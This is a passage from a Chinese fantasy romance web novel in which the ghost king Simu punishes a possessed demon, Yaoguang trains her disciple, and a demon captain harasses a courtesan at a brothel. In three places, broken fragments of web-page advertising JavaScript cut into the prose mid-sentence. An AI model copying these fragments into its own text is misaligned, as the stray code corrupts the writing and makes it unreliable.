镜前的“裴呈元”收回鲜血不止的拳头,并舔了一口,眼色阴鸷,笑道:“珍惜你这最后的这瞬间的清醒吧,宣阳世子。以后可没机会了。” “裴呈元”强忍着疼痛,转动着脖子,甩动着白日骨折的小腿。尽管已经融合了魔髓,但残留的神经仍然让他感到一丝刺痛。他暗自思忖,“看来要恢复到全盛状态,还需要些时日。” 想起白日那小娘子,“裴呈元”嘴角不禁扬起一抹邪笑:“可惜了,若非融合尚未完成,无法完全掌控这具躯体,否则吞噬她的神魂,定能功力大增。” 说着,他眯了眯眼,自言自语道:“不过,倒也并非全无收获……” “你说的收获,可是本座?” 说到就到,只见一个挺拔清隽的红影朝“裴呈元”踱步而来,他精致的五官如霜似雪,墨发披肩,好似不染纤尘的谪仙,浑身上下都透着矜贵傲然。纵使他神情淡然,但眼底暗光闪烁,散发着深渊一般的危险,好似地狱修罗。 他说:“许久不见啊,宿无。” 14. 上京桂香宣阳莲(四) 房间里烛火摇曳,光影斑驳,更添了几分诡异。宿无透过青铜镜,看到熟悉的身影出现在背后,他心头一跳,一股寒意从脚底直冲头顶,一种莫名的压迫感笼罩着他的心脏,让他有种即将窒息的恐惧。 但魔又怎会恐惧?他们是恶念的化身,无七情六欲,无三观五感。宿无只得将这莫名其妙的感觉归咎于自己目前这凡人之躯。 “哟,这不是失踪数百年的鬼王吗?”宿无努力摆脱那种窒息感,故作轻松地调侃道:“当年大战一别,确实许久未见了。” “呃!” 还没等宿无说完,司幕便凭空掐住他的颈部,将他提了起来。宿无的双脚离地,拼命地挣扎着,但无济于事。他的脸色涨得通红,这下他是感觉到了窒息的滋味了。 与宿无的痛苦相比,司幕面容冷漠,清隽身影卓然而立。若非烛火映照下,眼底露出一丝隐约的猩红,在暗示着他的怒火,他仿佛还是那冷清公子罢了。 “别将本座牵涉进你们当年的纷争中,本座当年并不是为你们而去。”司幕凉凉道。 见司幕来者不善,也没有松手的意思,宿无自觉窒息感愈发愈严重,那死亡的恐惧感扑面而来。倘若该身躯因窒息而死去,他的魔髓必不能久活。大业未成,他得想办法活着。 宿无突然记起,司幕当年大战被万物生击下寂海,与他的情况一模一样,应当灰飞烟灭才对。虽说魔族一旦死去可以魔髓复活,但鬼族并无魔髓之说,他又是如何重生的呢? 宿无嗤笑一声,故意激道:“......咳....妖,魔,鬼一旦被万物生击中......可是魂飞魄散必死无疑......咳......鬼王啊......你当初是如何活下来的呢?” 万物生! 一听到万物生,司幕便想起那人无情的面孔,瞳孔不由自主地收缩,眉头紧锁,仿佛触动了某种痛苦的回忆,剩下的话都听不进去了。 “鬼王司幕!你祸害人间十余年,还助妖魔两族挑起争端对抗天界,罪行滔天!”一名少女高举着手中如拂尘一般的武器,眼神冰冷无情,但其中又带着一丝慈悲苍生的怜悯,仿佛是在看一个恶贯满盈的陌生人。 看着面前熟悉而又陌生的少女,他感觉像是有鱼骨卡在喉中,疼痛难言。 女子喊道:“灭!” 他正欲开口解释,却见少女朝自己无情地全力一击,一道金光从天而降,似乎非要将他不致于死地不罢休一般,将他击沉于寂海。一时之间,疼痛如惊涛骇浪般袭来,但与当初魂飞魄散的痛苦以及寂海的侵蚀相比,都不及他真心被撕裂的痛楚。 当时的刨心之痛直到数百年后的现在,他仍记忆犹新。 他恨啊! “人死于话多。”司幕用力收紧手指,青筋暴起,几乎要将他的颈骨捏碎,但片刻后却缓缓松开,“但你今夜还不能死,你若死了,她必定起疑。” 不等宿无喘息分毫,司幕一脚飞踢而来。宿无措不及防,歪身倒地,身体在地上滑行飞出数米,直至撞到墙角。 剧烈的疼痛顿时让宿无感觉身体如同被生生劈开,五脏六腑都像是被移位般,他口中喷出鲜血,染红了身前的地面。 宿无捂住被踢中的腹部,咬紧牙关,正欲靠着墙壁缓缓站起。怎料司幕抬手往宿无身下轻轻一挥,且不带一丝感情地说道:“……听说魔族从不知疼痛,好不容易入了凡躯,那你便多享受这种感觉罢。” 宿无痛苦地闷哼,双腿突觉无力,朝地上猛的跪下。只听咔咯一声,膝骨碎裂之声响彻整个寝屋。 眨眼间,司幕消失于屋里,仅留下阵阵幽香,以及身负重伤的宿无狼狈地瘫坐在地上。 宿无尝着口中的腥甜,忍着撕心裂肺的痛,狭长的眼底尽是阴郁之色,阴森可怖。他冷笑一声,声音低沉沙哑如地狱恶鬼,喃喃自语道:“鬼王又如何,也还不是和我一样。不,应当是比我还惨才对。” 说着,宿无的面孔逐渐扭曲。 司幕,你得意不了多久! 天微亮,瑶光便迷迷糊糊地听到门外传来拳脚挥舞声,似是有人在练功。 耐不住好奇心的她起身走到门边探头一瞧,原来是青稚在院中苦练。他每一拳每一脚都铿锵有力,认真至极,丝毫不懈怠。他额间汗如雨下,束起的发和衣衫皆已染湿,看来像是已经练了好几个时辰了。 “阿稚,怎么这么早就起来练功?”瑶光问道。 青稚见到瑶光,快步上前,一脸虔诚地作揖:“师傅,教弟子功法罢。” 瑶光知他心中有执念,于是走到院中,摆出了做师傅的姿态,说道:“正好,这几天路上一直赶路,都没时间教你点什么,今日为师便教你御物术。” “御物术?”青稚好奇道,这御物术听起来就像是一些小孩玩意儿。 “别急。”只见瑶光右手画圈而绕,青稚绑在腰间布袋里有东西开始蠢蠢欲动。一道银光割破布袋飞出,青稚定睛一看,是皎月刀。 皎月刀停在空中,在日照下如附有灵气般闪烁。 瑶光右手朝青稚一挥,皎月刀像是有了灵魂一般朝他飞去。锋利无比的刀刃迎面而来,青稚似乎并没有躲避的意思,他凝视着皎月刀,想要看清楚它是如何被操控的。 就当皎月刀快要飞到青稚面前时,瑶光手一摆,刀变换方向朝青稚耳后擦过。只听咚一声,半把皎月刀插入他身后的木柱里,同时他右耳旁几根碎发被切落,惊得他目瞪口呆,好不一会儿才反映过来。 他跃跃欲试:“这好厉害,我要学!” “好。” 一个好的师傅就怕有不想学的徒弟。 瑶光低头沉思,一步一步地教道:“凝神聚气,气聚丹田,运气自如,御物随性。” 口诀说完,她抬起头来,目光笃定,手朝天上一挥,原本深深插入木柱的皎月刀被再次唤醒,飞入天际。 青稚直呼精彩。 “到你了,你试试。”说罢,瑶光又唤回皎月刀插回原处。 青稚年少稚气的声音缓缓响起,他神情认真,学着瑶光做出同样的动作:“凝神聚气,气聚丹田,运气自如,御物随性。”说罢,青稚一脸期待地看着皎月刀,然而过了许久,皎月刀仍在木柱中,纹丝不动。 “怎么会?我明明说的一字不差。”青稚有些泄气。 瑶光拍了拍他的肩膀,耐心地说:“你是一字不差,但御物之术非一日所成,先练习着聚气罢。” “御物术乃神仙两族入门之技,但皆从御物所起,进而再御器。一步登天,瑶光大人对自己的徒弟也太苛刻了些吧。” 一道如沐春风的声音缓缓入耳,男子一身素白长衫,朝他们悠悠走来。他手一挥,一旁原本的布满落叶蛛网的石桌石凳变得焕然一新,涤尘不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 染,又将手中的还冒着热气的茶具放置桌上,于石凳坐下,开始品茶。 “青稚有上古神兽血统,有天生神力相助,若勤加练习,一步登天又有何难。”瑶光侧过头看向故作悠闲自在的季昀之,笑道:“再说,难道昀之仙君不正想看到在下对青稚苛刻一些,让他多吃点苦头?” 被调侃的季昀之瞬间面红耳赤,瞪了瑶光一眼,恼羞道:“本仙君又岂是如此小气之人?!” “好好好,你不是,我是我是。”瑶光双手高举作投降状。 就着茶香,瑶光环视一周,见城隍庙虽然现在破旧不堪,但之前总算是曾香火鼎盛过,庙内修有内室,内室又有数间卧间供以庙祝和信众歇息,自觉此地作为他们在宣阳城的落脚的地方实在是不错。 瑶光看到季昀之眼下隐约透出的青色,深知他定是为了季伶的伤没好好休息。她询问:“季伶的情况如何?” “刚去看过了,除了昨日有些发汗,一切还好。”想起刚刚查看时,季伶仍然苍白的脸色,季昀之叹了一口气,“过几日应当痊愈了。” 瑶光惋惜道:“唉,可惜司幕公子说了他只会疗愈被妖魔所致之伤,关于人为或自创的伤他无能为力,不然或许可以请他一试。” 听到二人提起季伶,青稚想到了昨夜之事,心烦意乱,主动请缨道:“师傅,秦威……” 瑶光知道青稚急于报仇,但匆忙行事会出错,如同三生城一役。吸取上次教训,她连忙安抚道:“阿稚,不急。秦威好不容易到这落脚,最近是不会离开宣阳城的,你先把你的御物术练好罢。” 说着,瑶光垂下眼帘,“而且以防万一,咱们需要用到季伶的操控鸦群之术。” 季昀之不解地问:“为何?” 瑶光娓娓道来:“咱们一入城行踪便被一目了然,对方应当是有与季伶能力相仿的术士。但对方具体是如何监视我们,我暂时毫无头绪。” “所以,我打算今日去熟悉地形,明晚夜探王府。昀之仙君觉得如何?”说罢,瑶光看向季昀之。 怎料季昀之却神色凝重地看着她,似乎透过她看到了脑海中挥之不去的那个人。 她现在意气风发的模样,像极了当年的她。但她怎么会变成现在记忆全无的呢?其他人不认得也就算了,连司幕她也认不得了…… “昀之仙君?” 瑶光久久未等到季昀之的回答,只好提高声音再次问道:“昀之仙君?” 季昀之回过神来,眼神闪烁,拿起手中的茶杯,缓缓地喝了一口茶,似乎想掩饰刚才的失态。罢了,他才朝瑶光问道:“怎么了?” “你们司府的人都是怪怪的,一个仙君白日里喜欢梦游云霄,一个神医睡觉时喜欢与树作伴。”瑶光摇摇头,看向树上。 青稚顺着瑶光的目光望去,只见一红衣男子躺在树上好不悠哉,诧异道:“咦?司幕神医,你可是在那树上呆了一整夜?” 被发现的司幕低头浅笑,翻身从树上一跃而下,落在瑶光身前,他比瑶光高出一截、如雪松般挺拔身影几乎要将其笼罩在怀。那俊美绝伦的面容映入眼帘,散落的细发轻轻拂过她的脸,淡淡的幽香扑鼻而来,瑶光心中一颤,双颊微红,不由地后退了几步。 “在下自小陋习,瑶光姑娘见笑了。” 司幕的声音清冷却带有一丝邪气,如同一根轻轻挠在瑶光心上的羽毛。 15. 上京桂香宣阳莲(五) 季昀之瞥了司幕一眼,小声道:“确实是自小便有的陋习。” 数百年前如此,数百年后亦如是。 瑶光心中忐忑,她刚刚是怎么了?脸红耳赤的,跟那些看到玄霄便发起花痴的花仙儿们一样。为了摆脱窘境,她装作镇定地进入内室取过食盒,朝院中众人道:“这食盒也该还给姽婳姑娘了,正好我顺道去探探路。”说罢,她欲匆匆往庙外走。 不明所以的季昀之见瑶光慌慌张张的模样,放心不下,便主动提议:“还是让我与你一起去罢,有人相伴,若遇事也有照应。” 瑶光摆手道:“你留在这照看季伶罢,若季伶有事你不在怎可以?” “那唤你徒弟与你去?” “他那三脚猫功夫?”瑶光余光看到那纹丝不动的皎月刀,好笑道:“他还是先好好专心练练御物术罢。” 青稚听此,恼怒却无法反驳。 “那在下与瑶光姑娘你一同前去如何?”清冷的声音响起,司幕唇边噙着淡淡的笑意,琉璃般的双眸仿佛一捧星屑落在里面。 “司幕公子……”瑶光犹豫了一会儿,怕自己又发生像刚刚那样的窘事,正欲拒绝,忽又想起她这样可以给司幕与姽婳二人多些相处机会。她便继续道:“......好。那咱俩这就走罢。” 她快步流星朝司幕走去,一手握住他的衣袖,一手从袋中取出一张移身符,衣袂飘飘,秀发飞扬,口中念念有词。眨眼间,他们来到了莲馆后院。 与前院的彩纱飘飘,婀娜繁华不同,莲馆的后院幽静雅致,空气中还弥漫着淡淡的茶香和花香,让人心旷神怡,要是不知还以为是哪位官人家的庭院之中。 在后院里,俩人兜兜转转,好不容易遇到一小侍女端着糕点走过,瑶光凑上前问道:“小姑娘,你可知姽婳姑娘在何处?” 小侍女嘴馋,眼中只有食盘上香甜的糕点,突然听到有人说话,吓了一跳,手中的食盘差点掉落在地。 “吓死我了!你是瞎了眼不......”小侍女本想出口成章,见瑶光和司幕俩人虽衣衫略显邋遢,但气宇不凡,连忙止住了嘴。尤其是站在瑶光身后的司幕,红衣墨发,身如雪松,带着丝不食人间烟火的孤傲之色,定是身份非凡的官人。 于是,小侍女便一改刚刚的模样,虽面对着二人,但眼睛却是向着司幕,温温柔柔地笑着说:“两位官人要找姽婳姐姐是吗?姽婳姐姐现正在前院表演,官人们可先随云儿去二楼姽婳姐姐房里等待,待演奏结束云儿会告知姽婳姐姐去寻你们的。” 越靠近前院,如细雨般细腻的优美旋律越清晰。小侍女送二人到房门前,侧身行礼便离去,走前还不忘朝司幕抛了一个媚眼。 看小侍女殷勤的模样,瑶光心中暗自偷笑。在不周山时她就听说过人间有一种绝技叫做“变脸”,如今看来,果然名不虚传。 他们一进屋,便看到一少年就着软榻扑在窗边,几乎半个身子都要探出窗外,神情如痴如醉。瑶光眼珠一转,玩心一起,将食指放于嘴前,朝司幕暗示他要噤声,牵着他的衣袖朝窗边缓缓靠近。 往窗外探去,只见一少女婀娜多姿,肌肤细腻如玉。她轻抚琴弦,纤细的手指如蝴蝶于花丛翩翩起舞,眉宇间散发的清冷淡雅气质与莲馆的莲字相得相映生辉,可与的莲馆的笙歌曼舞却格格不入。琴声悠悠,每每音色转折处,犹如春水般清澈飘来,馆内众人无一不沉醉其中。 “真是余音袅袅啊。”少年陶醉于姽婳的琴奏,全然没有注意到瑶光的存在,如痴如醉地赞叹道:“此曲只应天上有,人间能得几回闻。绝曲!” 一曲罢,瑶光只觉有馀音缠绕在耳边,扣人心弦,不由得认同道:“的确,不仅曲绝人还美。” “何人?!”忽然身边响起的声响使少年被吓了一跳,他眨眼往身边一看,一古灵精怪的姑娘正歪着脑袋看着他。 瑶光故意不答,反问道:“兄台可是欢喜姽婳姑娘?” 少年脸色红透,支支吾吾地说道:“是又如何。” 是的话,当然不可,那司幕公子可是要有竞争对手了。但瑶光转头又看对方傻不隆咚,一脸憨厚的模样,定不是风姿独秀的司幕公子对手。 “不如何,只是没人会在莲馆谈欢喜。在青楼谁人不是露水姻缘,逢场作戏罢了。”瑶光故意道:“姽婳姑娘色艺双绝,裙下之臣必定数不胜数,兄台你怕也只是其中一位罢。” 这话儿可不中耳,少年恼怒,像只护食的猫儿炸了毛,气鼓鼓道:“婳儿不一样!我与婳儿从小一起长大,她洁身自好、守身如玉我都看在眼里。更何况,我也跟她约好了,等她找到她姐姐我便会赎她和她姐姐走。” 见少年如此认真地反驳,瑶光泄了气。唉,都已私定终身了,那司幕公子和姽婳姑娘肯定没戏儿了。这少年的模样配姽婳姑娘这等佳人虽是逊色了些,但看似相当尊重于她,也愿带她与她姐姐离开,算是不错的良配。 待找到姽婳姑娘的姐姐,助这对有情人成眷属也不错。 在身后站着的司幕看着瑶光算盘打得吱吱作响的样子,像是跟记忆中的人重合了一般,自己都没注意到他的嘴角不由自主地露出宠溺的笑容。 突然,楼下哄闹声起,优美琴音戛然而止。 “啊!” “小狗腿儿敢拦咱们老大,滚一边去!” “大人!大人!要不等奴家喊徐妈妈来招呼你罢!” “大人!请稍等!” “大人!” “美人儿拦住爷作甚,先让爷抱抱。哈哈哈哈哈哈。” 瑶光和少年凑过去头往楼下望去,原来是秦威带着一众人模人样的妖兵,凶神恶煞地闯入莲馆了。乍一看,秦威手里还有一妙人,半拖半抱地带着一起走入前院。 秦威看着姗姗来迟的徐妈妈,粗鲁地拍了拍怀中妙人的脸,狐假虎威道:“我听说昨日徐妈妈好生有趣,竟背着王府私自买卖,违反宣阳城的规矩。” 徐妈妈汗颜:真是昨日走了一个小阎王,今日来了一个催命鬼。 尽管知道秦威是个新来乍到的小侍卫长儿,但新官上任三把火,再加上对方那魁梧的身材和身后不伦不类却看着凶狠的手下们,让徐妈妈丝毫不敢怠慢。于是,徐妈妈顶着自己涂了三斤白粉的脸,连忙上前献媚道:“哟~这不是秦威大人嘛,” 徐妈妈那一套阿谀奉承对付这见过大风大浪的虎族老大,可是毫无用处。他径直掠过徐妈妈,继续往里走去,而徐妈妈只好在一旁紧紧跟着。 “欸,继续表演呀。”秦威见原本还热热闹闹的莲馆,因他进来变得寂静无比,原本的婀娜多姿的美人儿们都变得哆哆嗦嗦的,真是无趣至极,“我刚进门时还听到那让人心痒痒的曲子,是谁在弹奏呀?” 越走近,院中舞台中的翩翩身影愈发清晰可见。待看清时,秦威一把推开怀里的妙人,朝舞台上的低眉顺目,貌似芙蓉的姽婳走去,“刚刚的那曲子,可是你在弹?” 说着,秦威还试图伸手去触碰姽婳吹弹可破的脸蛋,却被姽婳不留痕迹地侧头躲过。姽婳用衣袖掩面,假装不适般的轻咳几声,道:“是的大人,正是奴家。” 徐妈妈见状连忙扶起姽婳,借机说:“姽婳这几日有些许不适,咱家这就带她下去休息。大人爱听曲,咱这莲馆这不多的是会弹曲哼歌的嘛。大人,是爱听江南小调呀,还是西域舞曲呀?” “坐下!”秦威的目光透露出一丝不耐烦,他活了百年怎么会看不破她们的小把戏,见她们玩弄自己,怒从心起,“本大人就爱听这美人弹的曲,若弹得不让本大人满意,谁都别想走!” “这流氓!”在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 楼上一直留意着的少年,见秦威在为难自己心上人,正欲起身下楼去与其争论,却被瑶光抓住了肩膀。 他不解地看向瑶光。 瑶光朝他摇摇头,道:“稍安勿躁,先看着,如此莽撞自会给姽婳姑娘招来祸端。” 少年仔细思考了一番,对方人多势众,硬拼确实不明智,便作罢。但他还是不能掉以轻心,目光一直锁在姽婳身上,若她有事,他定然不能坐视不管。 秦威这一声唬住了徐妈妈,她真是进退两难。姽婳不想徐妈妈为难,轻轻推开她,朝她点头示意她坐下,然后重新坐回琴前,作出抚琴之状。 “既然大人起了兴致,那姽婳也不好让大人扫兴。”姽婳不卑不亢地看向秦威,笑道:“曲将奏起,大人何不坐下好好享受?” 姽婳的知情识趣让秦威的怒火瞬间消去,心情渐渐愉悦了起来,大笑道:“好,本大人这就坐下好好听听美人你的曲子。” 说罢,秦威便在舞台的一角,面对着姽婳,席地而坐。他肘垫于膝上用手托腮,头朝掌心歪去,身向前倾,目不转睛地盯着姽婳,似是一只蓄势待发的猛虎,正虎视眈眈地看着猎物逐渐步入死亡的圈套。 见秦威坐下,这才反应过来的徐妈妈,连忙叫人搬来案几,摆上美酒佳肴在他面前,好好地款待这位催命鬼。 “快快快!愣着干嘛?上酒上菜!” 只听琴声再次响起,亦扬亦挫,深沉,婉转而不失激昂,应了那句“恰流莺花底叮咛,又孤鸿云外悲鸣。滴碎金砌雨,敲碎玉壶冰”。让听者不由得动容,楼上的少年更是揪着心地看着这一切。 但对于不懂音律的秦威来说,他又如何能领略到姽婳琴声中所描绘的情绪?他只感到美人在前无法触及,心中兴致一时难济,索性连琴声也不想再听。 啪的一声,琴弦断,人亦乱,秦威楞是要将姽婳强行带走。 眼见着姽婳即将要被拉走,徐妈妈连忙冲上去,扒拉住秦威的手臂,焦急地喊道:“不行啊,大人!姽婳卖艺不卖身啊!大人!” “去你娘个奶奶的卖艺不卖身!本大人要她!”秦威手往外一甩,徐妈妈便被掀起至数米外,嘴角鲜血流下,趴着在地上痛的花容失色。 “不行!我得去救婳儿!”少年说着就要翻身下榻,但被瑶光拦住。 他不解地看向瑶光,瑶光道:“好,若想救人那你要听我的。” 她在少年耳旁低语几句后,转头看向身后司幕,司幕淡然一笑,点了点头。然后,少年便见她从袋中取出一只幼小到肉眼都看不清的血色蝇虫。她口中念念有词,血色蝇虫像是收到了召唤般朝秦威鼻道飞去。 “大人,你流鼻血啦!”旁边的手下看到秦威的鼻孔里涌出的鲜血,吓得双腿直哆嗦。 秦威忽觉鼻子里瘙痒难耐,用手擦脸,见掌上沾上鲜血,心中一晃,连忙推开姽婳,怒气腾腾地质问:“这是怎么回事?!” 他仔细回想了一下,自己入莲馆前并未有有什么不妥,除了刚刚饮了些小酒。难道是......秦威猛地看向徐妈妈,表情愈发凶恶,“你敢害本大人!” 徐妈妈被吓得连连往后爬,摇头摆手,尖声叫道:“不是!大人不是奴家!” 怒气上头的秦威可听不进去任何话,神情暴戾地渐渐朝徐妈妈逼近。 “大人!饶命!绝不是徐妈妈!”姽婳见秦威还要发难,连忙扑在徐妈妈身上护住她。养育之恩,姽婳岂能不报。 “且慢!” 就在秦威几乎要把她们生吃了的时候,楼上赫然传来了少年稚气的声音。秦威抬头一看,只见一个憨态可掬的少年缓缓走下楼,身后跟着一个红衣男子。 该男子看似高贵傲然,神情淡漠拒人千里,他那眸中流露出的压迫感,更是让秦威不得不停下动作。 16. 一入王府深似海(一) “你是谁?敢喊住本大人?” 秦威一个杀气腾腾的眼神劈过来,吴念春哪见过这场面,还在下楼的脚直接停了下来,把瑶光在楼上叫他忽悠的话儿都忘得一干二净了,只听他断断续续地说道:“小的.....小的是菜园儿里送菜的......” “你这一送菜的下人就敢朝着咱们大人吼,你活着不耐烦啦?!”秦威一旁的下属看不过去,一个下人怎么就敢对咱大人呼喝。 吴念春被说的不知所措,余光瞧见姽婳一脸担忧之色及红透的眼框,坚定了自己要救人的心。 他豁出去了! 好不容易到了秦威跟前,只见吴念春努力稳住自己的的情绪,双拳紧握于胸前,深吸一口气,低头道:“小的是无名之辈,但小的身后这人可不是,他乃是司神医。小的见大人鼻血不止,担心大人身体有恙,故请了恰巧来听曲的司神医来,大人你看能不能用上。”说罢,吴念春便侧过身,露出了身后之人。 待看清吴念春身后之人后,原本担心他惹祸上身的姽婳提着的心终究放了下来了。司幕公子在,瑶光姑娘便在,有他们相助,念春应当不会有事。 然而与姽婳不同,这徐妈妈看到司幕后,被吓得直哆嗦,冷汗直冒。这公子昨日被世子通缉在榜上,虽说这榜上的画像与这公子的俊容丝毫挂不上边,但她心里清楚。昨日是世子大发善心放过了她们,若被人发现这公子今日还出现在这儿,她们可真是狐狸转世九条命都不够啊。 想到这,徐妈妈眼前一黑,竟晕过去了。 “神医?”秦威起疑,怎么刚好流鼻血就刚好来了个神医? “正是,大人。”吴念春恭恭敬敬地回道:“司神医医术高超定,能帮你诊断一二。” 站在后面风姿卓绝的司幕像是应和吴念春所说,微微俯首作揖:“在下逍遥药谷的关门弟子,大人叫在下司幕即可。” 秦威沉着脸朝二人审视一番,这位司幕无论说话样貌都确实有些仙人之资,符合神医之称。而且那送菜小子看上去一脸憨厚的模样,应当不会耍自己罢。 “你当真是逍遥药谷来的神医?”秦威狐疑道:“那你说说看我刚刚流血是怎么回事。” “医术以望闻问切来诊病,刚刚说话间,在下留意到你眼底发青,舌苔呈黄色,眼中血丝密布。大人之所以流血怕不是因得了内伤罢,而且还是最近几日的事。”本来就颇有神医之风的司幕看着沉着冷静,这话话说的头头是道,要不是瑶光知道他们有跟司幕说过这事,倒是要把在楼上偷看的她都几乎要骗过去了。 秦威惊了,被打伤是数日前在三生城的事,按理宣阳的人是不可能知道的,更何况是眼前这个来路不明的“神医”。 “你怎么知道我前几日被妖……人打伤?” 司幕没有立刻回答,而是步步走近秦威,将手附于其胸前,手中运气。在司幕运气时,秦威脸色煞白,全身泛起战栗,直觉胸口寒冷难耐,如有千万根银针刺入,不禁冷吸了一口气。 随后,司幕收起手,淡悠悠地说道:“妖气入体,伤及肺腑。” 秦威清楚地知道,司幕激起的痛苦感是因为他之前被季伶所伤的旧伤未愈,再加上季伶的一击,让他的伤势更加恶化。他心中怒火熊熊,不禁咬牙切齿。都好几天了怎么还是不见好转? 于是,他追问道:“神医,那你看这伤怎么好?” 余光瞄到趴在二楼窗户饶有兴致看着他们的瑶光,司幕一本正经道:“大人切记,如若想要痊愈,大人需按照在下的药方服药,且近日内不宜动粗、动怒、动欲。” 当司幕说到动欲这点时,秦威老脸一红,这不就是让人以为他是在美色前急不可耐,才会旧伤复发,鼻血直流吗?扫了一眼身边忍俊不禁的下属,秦威几乎感觉脸都要丢尽了。 司幕却不紧不慢地继续将手置于秦威胸前,头微低,在他人看不见的角度,琉璃般的瞳孔萤光流转,触碰秦威的掌心也逐渐冰冷。 那刺骨的寒冷再次透入秦威胸怀,这次他感觉原本万针穿心般的痛渐渐消失不见,身体也变得孔武有力起来。秦威敞开手,环视自己,不禁惊呼:难道他的伤就这么好了? 像是知道秦威心中所想一般,司幕缓缓收回手,正色道:“这只是一个小小的运功疗法,大人若想痊愈还是按在下说的做好。” 神医,这真乃神医,一个小小的运功疗法便能将他身上与自身相冲的妖气遣散。若能有他相助,尽快将内伤治好,那他不就能大展身手比那个丑蝴蝶更能得到左使大人的青睐吗? “不愧是逍遥药谷的弟子,医术高超,让本大人不禁想起了传说中的李谷主。”秦威感叹道:“真是青出于蓝胜于蓝啊。” 听到李谷主这三个字,司幕明显不悦,原本眼底还流转的萤光变得暗淡阴沉,他身边的气压都要降至零下。 下一刻,司幕又瞬间恢复了那副矜贵傲然的模样 司幕的变化,虽然只是在那刹那间,但仍被在楼上的瑶光一清二楚的看在眼里。虽知司幕公子有神医之能,但他一开始并未说过自己师出何门,本来只是以为他是随便编的逍遥药谷来博取秦威的信任,但这么看来逍遥药谷倒真是与司幕公子有些渊源。 见司幕一言不发,秦威只当他是关门弟子当久了成熟稳重罢了,便又继续说道:“那神医你所说的药方......” 司幕提议道:“这莲馆乃污秽之地,不适宜诊病写药方,不如在下与大人一同到外头酒楼找个清静典雅的包间坐下好好诊症?” 秦威正有此意,附和道:“如此甚好。” 转头间,秦威又想起昨天世子受伤的事情,便提议让司幕一起去王府诊病:“正巧世子昨日因有人闹事腿脚受伤了,不如神医来王府一起诊症?” 听到这,在楼上的瑶光大喜,这正合她本意。若是能先进入王府探路,拿着夜探定不会出问题。但是,他们现在可是被全城通缉,如还遇上世子被他认出,打草惊蛇,那也棘手。 像是感知到了瑶光纠结的目光,司幕缓缓回道:“世子金贵之躯,在下只是一野游在外的医者,怕污了世子的眼。在下听说皇城有一隔屏诊症之法,若是能如此便极好。” 秦威心知司幕这说的并不是没有道理,左使以禁术复活,这闻名天下的医术圣地——逍遥药谷怕有对关于禁术的记载。若被这神医看出端倪,怕是会坏了左使大业。反正世子应当上的是皮肉伤,光治腿便好,这隔屏诊症也不是不行。 就当秦威沉思时,门外一妖兵匆匆赶来,低声对秦威说了几句。秦威的脸色瞬间变得凝重,他立刻改变了主意:“本大人现在有事要处理,神医你明日再来王府罢。到时,拿上这个报上本大人的名头即可。”说罢,秦威扔给司幕一个令牌便匆匆领着妖兵们离去,而令牌上赫然写着“宣阳王府”四个大字。 虽然那妖兵话语声小,但仍被司幕清楚听到。他注视着手中的令牌,眯起双眼,朝楼上看去,窗边已空无一人。 一进门,姽婳便猛地关上门,紧紧地拉着吴念春到桌边低声说道:“那位秦威大人可不是善类!你是怎么敢的!” “可是我不能看着他伤害你。”说着,吴念春回握住姽婳的手,目光坚定地看着姽婳,从头到脚地将她扫视了一遍,生怕她哪里受了伤。 “而且有瑶光姑娘和司幕神医在,他们说是你的朋友,看着也很可靠的模样,我才......” “瑶光姑娘和司幕公子与我相见不过两次,却能如此帮我,确实是好人。但他们武艺高超,身手不凡,与你不同,念春。望你不要再如此冒险,我已经不能再失去一个亲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人了。” 像是想到了伤心事,姽婳放开吴念春,悄悄坐到一旁的梳妆台前,用袖捂面,对镜愁眉。 吴念春看着姽婳忧愁的模样,懊恼不已,不知如何安慰她。突然,他像是想起了什么,从怀里掏出一团绢布,拿起布里包裹住的物件,轻轻走近,缓缓将其插入姽婳发髻里。 忽觉头上一重,姽婳看着铜镜里自己发髻旁上有一只白玉兔子,俏皮可爱,栩栩如生。她欣喜地转过头,看向吴念春笑道:“念春,你将这玉簪修好了?!” 看着面前笑靥如花的姽婳,吴念春终是放下心来,憨憨地挠头说道:“我不懂得怎么修,拿到首饰铺子他们都说认不得这是什么玉,见它玉质非凡的模样都不敢接。幸好我遇到了梅花庄的大善人,他说可以用金片做个环儿让这断开玉簪连一起,便让他试试了。大善人手艺不错,你看,金环儿也不是很明显。” 姽婳看着发髻里隐隐约约露出的金光,担忧地说:“那金片是不是很贵?” “还好,大善人说让我去他庄里干活便好。”见姽婳皱起了眉头,吴念春连忙道:“别怕,我就去十来天,不会太久的,我还要快点回来赎你呢。” “念春,你已经帮我太多了。我这些年也有收到些官人给的打赏,我......”说着,姽婳便要取出梳妆台暗格的首饰盒,却吴念春按住。 “你呀,自己攥的钱就自己好好收着,当作是你的嫁妆,而我的赎金便是聘礼。到时我穿上新郎服,你穿上红嫁衣,由徐妈妈见证,做我明媒正娶的吴娘子好吗?” 姽婳眼角通红,道:“念春,谢谢。” “别谢我,婳儿。这是我该做的。”吴念春微微蹲下,握住姽婳的手,拂过她额间落下的碎发,目光真挚地看着她的眼眸,说道:“只是,之后我家一贫如洗,委屈你了。” “念春,我不怕。”姽婳回握住他的手,细声问道:“你要什么时候离开?” “我打算过两日便启程去,早去早回,早点回来赎你。” 见姽婳双腮渐渐泛起了红晕,吴念春憨笑道:“还有早点娶你。然后我们以后天天开开心心地就跟以前一样。” 跟以前一样...... 姽婳听到这,像是想到了以前的那些快乐的日子,眼眶湿润,泪水欲滴。 “念春!” 来送菜的吴念春在莲馆后院的炊事房等着炊事娘点数,只见一少女朝他匆匆跑来,芙蓉般的脸颊上红彤彤的,额间还隐约有些许薄汗。待少女靠近,他连忙取出怀中的手绢,为少女擦拭汗水,紧张道:“我就在这,你跑什么?看,都流汗了。” “吴念春!”少女见自己被说,心里委屈,“我去庙里还想着你,给你带个风车回来,你就知道训我。” 听到少女这么一说,吴念春才留意到少女手上的风车,五颜六色的,就着日光照耀下闪闪发光,还怪好看。 “好看吧,”见吴念春看着风车目不转睛,少女故意又将它藏至身后,俏皮地说道:“你让我生气,我不想给你了。” 吴念春慌了神,连忙找补:“你别生气,我刚刚只是担心你跑太急了才一时口快的。” 少女歪着脑袋看着他,狐疑道:“真的?” “真的。” “那你以后不训我的话,我就给你。” “好,以后不说你了。”憨憨的吴念春腰板挺如竹。 